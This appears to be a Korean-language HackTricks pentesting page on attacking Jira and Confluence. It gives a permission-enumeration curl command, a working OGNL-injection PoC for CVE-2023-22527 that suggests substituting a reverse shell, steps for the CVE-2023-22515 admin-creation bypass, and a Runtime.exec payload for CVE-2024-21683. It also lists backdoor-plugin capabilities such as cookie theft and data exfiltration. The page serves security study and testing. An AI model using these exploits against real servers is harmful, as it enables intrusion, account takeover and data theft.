Jira & Confluence
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
권한 확인
Jira에서는 인증 여부와 관계없이 모든 사용자가 /rest/api/2/mypermissions 또는 /rest/api/3/mypermissions 엔드포인트를 통해 권한을 확인할 수 있습니다. 이 엔드포인트들은 사용자가 현재 보유한 권한을 노출합니다. 특히 비인증 사용자에게 권한이 부여된 경우는 보안 취약점을 의미하며, 이는 bounty 대상이 될 수 있습니다. 마찬가지로 인증 사용자에게 예상치 못한 권한이 있는 경우도 취약점으로 간주됩니다.
중요한 업데이트가 2019년 2월 1일에 이루어져, ‘mypermissions’ 엔드포인트가 ‘permission’ 파라미터를 포함하도록 요구하게 되었습니다. 이 요구사항은 조회할 권한을 지정함으로써 보안을 강화하려는 목적입니다: 여기에서 확인하세요
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
예: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
자동화된 열거
최근 RCEs 및 실용적인 exploit 노트 (Confluence)
CVE-2023-22527 – 인증되지 않은 template/OGNL injection (10.0)
- Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5에 영향을 미침. 취약한 Velocity 템플릿
text-inline.vm이 인증 없이 OGNL 평가를 허용함. - 간단한 PoC (명령은 confluence user로 실행됨):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- 응답 헤더
x-cmd에는 명령 출력이 포함됩니다.id를 reverse shell payload로 교체하세요. - 스캐너: nuclei template
http/cves/2023/CVE-2023-22527.yaml(nuclei-templates ≥9.7.5에 포함).
CVE-2023-22515 – setup 재활성화로 관리자 생성 (auth bypass)
- Publicly reachable Confluence Data Center/Server 8.0.0–8.5.1에서는
setupComplete를 전환하고/setup/setupadministrator.action를 다시 실행하여 새로운 관리자 계정을 생성할 수 있습니다. - Minimal exploit flow:
GET /server-info.action(unauthenticated)로 접근 가능 여부 확인.POST /server-info.action에buildNumber파라미터를 전송하여 setup 플래그를 토글.POST /setup/setupadministrator.action에fullName,email,username,password,confirm을 포함해 관리자 계정 생성.
CVE-2024-21683 – Code Macro 업로드를 통한 인증된 RCE
- Confluence Admin은 Configure Code Macro에서 조작된 language definition을 업로드할 수 있으며, Rhino engine이 포함된 Java를 실행하여 RCE로 이어집니다.
- 쉘을 얻으려면
.lang파일에 다음과 같은 payload를 포함하여 업로드하세요:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- 악성 언어를 Code Macro 본문에서 선택하면 트리거됩니다. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683는 auth + upload + exec를 자동화합니다.
Atlasian 플러그인
이 blog에서 설명한 것처럼, Plugin modules ↗ 문서에서는 다음과 같은 다양한 유형의 플러그인을 확인할 수 있습니다:
- REST Plugin Module ↗: Expose RESTful API endpoints
- Servlet Plugin Module ↗: Deploy Java servlets as part of a plugin
- Macro Plugin Module ↗: Implement Confluence Macros, i.e. parameterised HTML templates
다음은 macro plugin 유형의 예입니다:
Macro plugin 예제
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
이 플러그인들이 XSS와 같은 일반적인 웹 취약점에 취약할 수 있음을 확인할 수 있습니다. 예를 들어 앞의 예제는 사용자 입력을 반영하기 때문에 취약합니다.
XSS가 발견되면 [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)에서 XSS의 영향력을 높이기 위한 몇 가지 payloads를 찾을 수 있습니다.
## 백도어 플러그인
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)에서는 악성 Jira 플러그인이 수행할 수 있는 다양한(악성) 동작들을 설명합니다. [**code example in this repo**](https://github.com/cyllective/malfluence)에서 코드 예제를 확인할 수 있습니다.
다음은 악성 플러그인이 수행할 수 있는 몇 가지 동작입니다:
- **Hiding Plugins from Admins**: 일부 프론트엔드 javascript를 주입하여 악성 플러그인을 관리자에게서 숨길 수 있습니다.
- **Exfiltrating Attachments and Pages**: 모든 데이터에 접근하여 exfiltrate할 수 있습니다.
- **Stealing Session Tokens**: 응답에서 헤더를 그대로 반환하는 endpoint를 추가(쿠키 포함)하고, 해당 endpoint에 접속해 cookies를 leak하는 javascript를 추가할 수 있습니다.
- **Command Execution**: 물론 플러그인을 만들어 코드를 실행할 수 있습니다.
- **Reverse Shell**: 또는 reverse shell을 얻을 수 있습니다.
- **DOM Proxying**: 만약 confluence가 프라이빗 네트워크 내부에 있다면, 접근 권한이 있는 사용자의 브라우저를 통해 연결을 수립하고 예를 들어 그 브라우저를 통해 서버에 접속하여 명령을 실행하도록 할 수 있습니다.
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>


